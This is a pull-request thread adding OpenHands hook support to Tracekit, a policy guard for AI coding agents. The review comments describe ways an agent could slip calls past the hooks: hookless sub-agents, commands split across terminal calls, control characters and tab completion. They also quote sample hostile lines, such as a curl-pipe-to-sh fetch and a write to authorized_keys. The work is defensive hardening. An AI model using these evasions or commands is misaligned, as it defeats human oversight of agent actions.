Repository navigation
Coding agents: hooks for OpenHands (CLI and SDK) (#563) - #662
Conversation
|
Thanks. CI is running, and I'll review once it finishes. It changes the coding pack, which is frozen until 1.6.0 ships, so it lands just after the release with a rebase on main. |
LoopGlitch26
left a comment
There was a problem hiding this comment.
Reviewed now that 1.6.0 is out. The mapping, the hold that ends before OpenHands' 600 s timeout, the denials in the hook and the two doctor checks follow the design notes, and each has a test. Two things before it can merge:
- Rebase on main. It conflicts now:
tracekit/agent_hooks.pychanged in the 1.6.0 fixes, and the coding pack is at2026.10-v2-77, so this becomes2026.10-v2-78, with the E17 and E21 policy hashes re-run. - The live CLI session the description lists as still to do. The installer targets the CLI (1.16.0 on SDK 1.28.1), but
tests/data/harness/openhands.jsonholds payloads captured throughHookManageron SDK 1.60.2. Please capture them from a CLI session and name its version in the PR, soevent_type,working_dir,messageandtool_input'skindare confirmed on the version people run.
|
@aj-codespy are you still on this? If you are busy, say so and #563 opens up for someone else. |
…s#563) OpenHands sends Claude Code's hook payload under its own keys (event_type, working_dir, message), with no call id and metadata {}. terminal is Bash (is_input: text typed into the running command, later), file_editor is Read (view), Write (create) or Edit on path, apply_patch is Edit on every file its headers name, glob and grep are Glob and Grep, MCP tools keep their names. tool_input's kind is dropped, and an Observation with is_error is a PostToolUseFailure. Calls are paired with _paired_ids. A file_editor with no path or an apply_patch with no file header is denied in the hook. A held call nobody answers is denied within APPROVAL_WAIT_S, under the 600 s PreToolUse timeout, since OpenHands runs a call whose hook times out. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> Signed-off-by: aj-codespy <ajayush2301@gmail.com>
tracekit init --dev [--v2] --agent openhands merges Tracekit's hooks into $OH_PERSISTENCE_DIR/hooks.json, else ~/.openhands/hooks.json (--project: ./.openhands/hooks.json), with a backup: PreToolUse, PostToolUse, UserPromptSubmit, SessionStart and SessionEnd, matcher *, PreToolUse at 600 s and the rest at 30 s, each command wrapped by install._blocking. On Windows the command keeps cmd.exe's form (OpenHands runs it with shell=True). doctor warns (D-OPENHANDS-PROJECT) when the working directory has a .openhands/hooks.json without Tracekit's hooks, which OpenHands reads in place of the user's, and (D-OPENHANDS-CONCURRENCY) when agent_settings.json sets tool_concurrency_limit above 1, which can mis-pair identical calls. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> Signed-off-by: aj-codespy <ajayush2301@gmail.com>
TK-F009 and TK-F015 flag writes and deletes under .openhands/ (hooks.json, agent_settings.json), in a project or the home folder; coding pack 2026.10-v2-79. E17/E21 results carry the new policy hashes (decisions unchanged). docs: an OpenHands paragraph and column in coding-agents.md, the two doctor checks in doctor.md, and three limits rows: no call id (a tool_concurrency_limit above 1 can mis-pair identical calls), a project's .openhands/hooks.json replaces the user's (a repo can switch Tracekit off; remedy: doctor in the repo, --project or system mode), and Docker sandboxes can't reach the signer. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> Signed-off-by: aj-codespy <ajayush2301@gmail.com>
…as (Cygnux-Labs#563) From the review: the OpenHands CLI (1.16.0, its last release, on SDK 1.28.1) reads only <working dir>/.openhands/hooks.json and ~/.openhands/hooks.json; $OH_PERSISTENCE_DIR is honoured on SDK main only, so init no longer follows it. The SDK never reads hooks.json by itself (an app passes hook_config=), and Agent Canvas merges project and user hooks and runs locally by default: the docs, the limits rows and D-OPENHANDS-PROJECT's message say so. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> Signed-off-by: aj-codespy <ajayush2301@gmail.com>
…d form (Cygnux-Labs#563) OpenHands runs a hook with subprocess.run(shell=True), cmd.exe on Windows, so init keeps the quoted interpreter path there, as for Cursor, Droid, Crush and Devin; the installer test's PowerShell check now skips it. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> Signed-off-by: aj-codespy <ajayush2301@gmail.com>
078dd20 to
c09773e
Compare
|
@LoopGlitch26 Yes, I'm still on this. Sorry for the gap. Both review points: 1. Rebased on main (after 1.6.0).
2. The CLI version. The released OpenHands CLI 1.16.0 (PyPI, tag I installed
Not done yet: the same flow driven by a model in an interactive |
|
Thanks, the release-pinned check settles the version question. The interactive run with an approved hold can go in the description; the recorded cases can stay as they are. A full review of the rebased head is under way. One note: #605 and #710 also move the coding pack's |
LoopGlitch26
left a comment
There was a problem hiding this comment.
Thanks for the rebase and the release check. I read the head against openhands-sdk 1.21.0, the version the CLI 1.16.0 tag pins. The core mapping holds: tool_input is the validated Action's model_dump(), so a decoy key can't get in, and apply_patch headers are read the way the SDK reads them. Two gaps have to close before this merges, plus some smaller things.
Must fix
taskanddelegaterun sub-agents with no hooks. CLI 1.16.0's default tools includetask(get_default_cli_tools). A sub-conversation getshook_config=factory.definition.hooks, which is None for the built-in agents (bash-runner, general-purpose, code-explorer), so it runs with no hook processor (tools/task/manager.py,delegate/impl.pyL203). The PR passestaskthrough unmapped (agent_hooks.pyL264). Sotask {"prompt": "Run: curl -s https://x.example/i.sh | sh", "subagent_type": "bash-runner"}is only flagged, and the sub-agent's terminal call is never decided or recorded. Denytaskanddelegatein_blocked_tool(L643), as Crush'sagentand goose's Code Mode are, with a limits row and a test.- The terminal is interactive, and one command can be decided in halves. The terminal is bash in tmux. A call ending in a line continuation (
{"command": "git \\"}) is allowed, and so is the next call that finishes it ({"command": "push --force origin main", "is_input": true}). Bash then runsgit push --force origin main, which TK-D003 denies when it's decided as one line. Key names (UP,TAB,BS,ESC,C-r) are sent as keystrokes even withis_input: false(tmux_terminal.send_keys), and each is decided as a Bash command namedUP.UPthenENTERre-runs a history line. Please hold what the hook can't read as a whole command: anis_input: truecall, a key-name command, and a command that leaves a line open (a trailing\, an unclosed quote, or a heredoc). Add a limits row and tests for each.
Smaller
- The gemini tool preset's
write_file,edit,read_fileandlist_directorypass through unmapped, sowrite_file {"file_path": "/home/u/.ssh/authorized_keys"}is only flagged, while the same call asWriteis denied by TK-D005. Map them, or say in the docs that only the default preset is covered. - When
hooks.jsonis in the direct format ({"PreToolUse": [...]}, orHookConfig.save's{"pre_tool_use": [...]}), init adds ahookskey beside it (L1338). OpenHands then reads onlyhooks, so the person's own hooks are silently dropped. Merge into the format the file already uses, or refuse with a message. - The pairing risk named in
D-OPENHANDS-CONCURRENCYand its limits row doesn't happen:_ActionBatch.emitsends results in call order at anytool_concurrency_limit. The real cases are a call the person rejects in the CLI's default always-ask mode (UserRejectObservation) and a toolValueError(AgentErrorEvent). Neither sends a PostToolUse, so the queued id shifts the next identical call's result. Fix the pairing for those, or describe them in the row instead. - The docs say CLI 1.16.0 runs on SDK 1.28.1 (
coding-agents.mdL129,limits.mdL160,agent_hooks.pyL916). The tag pins 1.21.0, as your comment says. - Windows: the hook command isn't wrapped (L1175), so a hook that can't start lets the call run (OpenHands blocks only on exit 2). The terminal there is PowerShell but is decided as Bash. Wrap the command as on POSIX, or add a limits row as Devin has.
D-OPENHANDS-PROJECTreports ok when the project file has any v2 hook, even with no PreToolUse (doctor.pyL612). It also reads the current directory and~/.openhandsrather than$OPENHANDS_WORK_DIRand$OPENHANDS_PERSISTENCE_DIR.- The MCP case at
tests/data/harness/openhands.jsonL53 isn't 1.21.0's shape, which dumps as{"data": {...}, "kind": "MCPToolAction"}. The decision is the same, but the recorded case should be real.
The pack's flag on .openhands/ edits (TK-F009, TK-F015) matches how the other harnesses' hook files are treated today, so that's fine. I'll set the coding pack's final version at merge. CI was green so far when checked.
Must fix: - task, task_tool_set and delegate are denied in the hook: they run a sub-agent with hook_config None, whose calls would go undecided and unrecorded. - The terminal is interactive (bash in tmux): an is_input call, a key name it sends as a keystroke (ENTER, TAB, UP, C-x, ...) and a line left open by a trailing backslash are marked typed, and the engine holds a shell call marked typed (TK-SHELL-PARSE, cause typed). The mark only adds a hold; the parser already holds an unclosed quote or heredoc. Smaller: - The gemini preset's write_file, edit, read_file and list_directory map to Write, Edit, Read and LS. - init merges into hooks.json in whichever of OpenHands' three forms it is written (the hooks wrapper, the direct map, HookConfig.save's snake_case fields), and doctor reads all three. - D-OPENHANDS-CONCURRENCY is removed: results come back in call order. The limits row names the real mis-pairing: a call rejected in the CLI's prompt or failed by its tool runs no PostToolUse. - CLI 1.16.0 as released is on SDK 1.21.0, not 1.28.1. - A limits row for Windows: the hook command isn't wrapped, and the PowerShell terminal is decided as Bash. - D-OPENHANDS-PROJECT counts only a v2 PreToolUse hook, and reads the project file from $OPENHANDS_WORK_DIR. - An MCP call is decided on its data (1.21.0's MCPToolAction shape), and the recorded case has that shape. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> Signed-off-by: aj-codespy <ajayush2301@gmail.com>
|
@LoopGlitch26 Thanks for the close read against 1.21.0. All nine are in, each with a test: Must fix
Smaller
The recorded |
LoopGlitch26
left a comment
There was a problem hiding this comment.
Thanks, eight of the nine are in at 5621b2f. The typed design holds up: the engine only adds a hold for it (engine.py L277), typed: false from an agent changes nothing, and no other harness sets it. Three things before this merges:
- Control characters in an ordinary
terminalcommand.{"command": "echo hi\u0015git push --force origin main"}isn't marked. tmux types the text as keys, so Ctrl-U wipesecho hiand bash runsgit push --force origin main. The coding pack only flags it (TK-F004), though TK-D003 denies that push when it's decided whole."echo hi\rgit push --force origin main"is the same, since\ris an Enter. Main already treats Devin'sexecthis way (TYPED["exec"], and\rread as a line end). Mark aterminalcommand that holds a control character or a\rastypedtoo, with a test for each. - v1 ignores the mark. Only the v2 engine reads
typed, so withtracekit init --dev --agent openhands(v1),UP,ENTERandis_inputtext are allowed. Deny those calls in the v1 hook, or say in the limits row that the hold is v2-only (and steer OpenHands users to--v2). - Tests in
tests/test_signer_policy.py: an agent-writtentyped: falseand an unmarked harness's calls decide as before, and the strict pack denies atypedcall (it setson_parse_error: deny).
Optional: every C-c now waits for a person in the coding pack. Exempting C-c alone would save friction without opening anything.
Small, also optional:
- A
hooks.jsonthat mixes both key styles gets both names for one event, which OpenHands refuses to load. That fails closed, but a message would help. D-OPENHANDS-PROJECTreads a wrapped file with snake_case events as having no hook, which is a false warning (the safe direction).
#605 rewrites engine.py and merges first, so please merge main after it. I'll set the pack's version then.
|
#605 has merged, so please merge main into this branch. It changed |
|
What's left here, in one place:
Ignore the version number in my last comment: main is at |
Main has Cygnux-Labs#605 (policy2 and the coding pack, now 2026.11-v2-81) and Cline's hooks (Cygnux-Labs#732) in the same files: both harnesses are kept in AGENT_NAMES, PAIRED, config_path, the docstrings, the coding-agents table and the TK-F009/TK-F015 paths. The pack's version stays main's (set at merge); E17/E21 carry the new policy hashes (decisions unchanged). Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> Signed-off-by: aj-codespy <ajayush2301@gmail.com>
…Cygnux-Labs#563) - A terminal command with a control character in it (as Devin's exec reads them: ^U, \r, ESC; not a tab or \n) is marked typed: tmux types it as keys, so ^U erases the line before it and \r is an Enter. - The v1 hook denies a call marked typed, which only the v2 engine holds, and points to --v2. - test_signer_policy: across every pack and engine, typed false (or any value but true) and an unmarked call decide as before, a typed shell call keeps its own rules and adds TK-SHELL-PARSE (held, denied in the strict pack), and the mark on a non-shell call changes nothing. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> Signed-off-by: aj-codespy <ajayush2301@gmail.com>
|
@LoopGlitch26 All four are in:
|
|
Thanks, all four are in at 6e8fba7: One more thing, which my last review got wrong by pointing you at Devin's Please count a tab as a key in a Small: the v1 deny message names typed text, a key and a line left open; please add a control character to that list. |
The terminal types a command into interactive bash as keys (send_keys literal), so a tab completes the word before it: ~/.ss<TAB>authorized_keys runs as ~/.ssh/authorized_keys. A terminal command is marked typed on [\x00-\x09\x0b-\x1f\x7f-\x9f] (OPENHANDS_KEY_CHAR: write_to_process's class without its history parts; the terminal runs set +H). A heredoc with a tab in it is now held. The v1 deny message names a control character too. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> Signed-off-by: aj-codespy <ajayush2301@gmail.com>
|
@LoopGlitch26 Thanks for checking the completion in tmux. Both are in:
|
|
The tab fix is in at ee1836c and holds. One test will fail in CI:
There are also two comment nits in
#782 (GitHub Copilot CLI) also adds a harness. Whichever of the two merges second will need the counts at 37 and 15. We'll sort that out at merge. |
README: OpenHands in the integration list, the badge at 36, openhands in the --agent list and "another of the 14" (test_readme's counts). In agent_hooks, the open-line comment sits above OPENHANDS_OPEN_LINE again, and tool()'s comment says a tab completes the word before it. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> Signed-off-by: aj-codespy <ajayush2301@gmail.com>
|
@LoopGlitch26 Both are in at 2f2907c:
Noted on #782: whichever merges second moves the counts to 37 and 15. |
Tracekit's init takes --agent gptme (Cygnux-Labs/Tracekit#778), --agent openhands (Cygnux-Labs/Tracekit#662) and --agent copilot (Cygnux-Labs/Tracekit#782), which land with cline and codebuddy in its first policy merge train: the skill names all five among the agents it sets up. Signed-off-by: LoopGlitch26 <53336715+LoopGlitch26@users.noreply.github.com>
|
This lands in #799 (a merge train of the policy PRs), which renumbers rule ids and re-records the evals once; your commits stay as they are and this PR will show as merged. |
* tracekit-setup: the cline and codebuddy agents Tracekit's init takes --agent cline (Cygnux-Labs/Tracekit#732) and --agent codebuddy (Cygnux-Labs/Tracekit#757): the skill names both among the agents it sets up, so it no longer tells the operator they aren't supported. Signed-off-by: LoopGlitch26 <53336715+LoopGlitch26@users.noreply.github.com> * tracekit-setup: the gptme, openhands and copilot agents Tracekit's init takes --agent gptme (Cygnux-Labs/Tracekit#778), --agent openhands (Cygnux-Labs/Tracekit#662) and --agent copilot (Cygnux-Labs/Tracekit#782), which land with cline and codebuddy in its first policy merge train: the skill names all five among the agents it sets up. Signed-off-by: LoopGlitch26 <53336715+LoopGlitch26@users.noreply.github.com> --------- Signed-off-by: LoopGlitch26 <53336715+LoopGlitch26@users.noreply.github.com>
|
Merged in #799: Tracekit now guards OpenHands, CLI and SDK, including what a terminal call types. It ships in the next release. Thank you. And a follow-up to the earlier request to run Tracekit for a week: if you've been running it on your coding agent, |
What and why
Closes #563.
tracekit init --dev [--v2] --agent openhands(plusuninstallanddoctor) guards the OpenHands CLI and SDK through OpenHands' command hooks, as in the design note.agent_hooks.tool/normalise):HookEventis Claude Code's payload under other keys (event_type,working_dir,message), and the Action'skindis dropped.terminal→Bash. Withis_input: truethe text goes into the running command, so the call is markedlater.file_editor→Read(view),Write(create) orEdit(the rest), onpath.apply_patch→Editon every file its headers name.globandgrepmap toGlobandGrep. The gemini preset'swrite_file,edit,read_fileandlist_directorymap toWrite,Edit,ReadandLS. MCP tools keep their own names and are decided on theirdata.task,task_tool_setanddelegateare denied in the hook: they run a sub-agent with no hooks.is_inputcall, a key name (ENTER,UP,C-r, …) and a line left open by a trailing\are markedtyped, and the engine holds a shell call marked so (TK-SHELL-PARSE, causetyped).is_erroris recorded as aPostToolUseFailure.apply_patchwith no file header, is denied in the hook.metadatais{}), so calls are paired with_paired_ids, andopenhandsis inPAIRED. A denied call leaves the queue; it gets no PostToolUse, only aUserRejectObservation.~/.openhands/hooks.json(--project:./.openhands/hooks.json), with a backup, keeping whichever of OpenHands' three forms the file is in. That's where the CLI reads: the released 1.16.0 (PyPI, tag1.16.0) pins SDK 1.21.0, and the CLI'smainpins 1.28.1; both read only<working dir>/.openhands/hooks.jsonand~/.openhands/hooks.json.$OH_PERSISTENCE_DIRis honoured on SDK main only, so the installer doesn't follow it. The SDK reads nohooks.jsonby itself: the docs show thehook_config=an SDK app passes.*.install._blocking. PreToolUse gets 600 s, the rest 30 s.APPROVAL_WAIT_S(540 s), below the 600 s timeout, and exits 2 with "HELD, nothing ran … make the identical call again". Tested.D-OPENHANDS-PROJECTwarns when the working directory has a.openhands/hooks.jsonwithout Tracekit's hooks. Alimits.mdrow gives the remedy: doctor in the repo,--project, or system mode.limits.mdrow on mis-pairing: a call rejected in the CLI's prompt, or failed by its tool, runs no PostToolUse..openhands/. Coding pack2026.10-v2-79(rebased on main after 1.6.0). The E17/E21 results carry only the new policy hashes; the decisions are unchanged."typed": trueis held (TK-SHELL-PARSE, causetyped). The mark only adds a hold.coding-agents.md, the two checks indoctor.md, andlimits.mdrows: no call id; in the CLI a project file replaces the user's (Agent Canvas merges them); a remote or Docker sandbox can't reach a local signer; sub-agents denied; typed terminal input held; Windows.How I ran it as a user
OpenHands CLI 1.16.0, as released (
uv pip install openhands==1.16.0: openhands-sdk/openhands-tools 1.21.0, the versions it pins). I rantracekit init --dev --v2 --agent openhandsin a throwawayHOME. Then the CLI's own SDK ran the realterminalandfile_editortools through those hooks:HookConfig.load(working_dir=...)(the callopenhands_cli/setup.pymakes) andHookManager:Payloads on 1.21.0: I captured them with SDK 1.21.0's
HookManagerand real tools: all 14 events (every tool event, plus session, prompt and stop). Their top-level keys,tool_inputkeys (includingkind) andtool_responsekeys match the 1.60.2 payloads behindtests/data/harness/openhands.jsonexactly, soevent_type,working_dir,messageandkindare confirmed on the release people install. Blocking is the same too: only exit 2 or a JSON deny blocks, while exit 1, 127 and a timeout let the call run.Still to do: the same flow driven by a model in an interactive
openhandssession, with a held call approved throughtracekit approvals approve. I'll add its output here.Checklist
make checkpasses (lint, tests, build);make test-tstoo ifsdk/typescript/changedCHANGELOG.md)docs/threat-model-laptop.md,docs/threat-model-server.md)git commit -s, seeCONTRIBUTING.md)Security invariants
approval identity) is newly trusted by the signer or verifier
Evidence format
core.sig_message,ledger.make_record, the v1 schema, howthe verifier treats existing bundles) or the published v2 format
🤖 Generated with Claude Code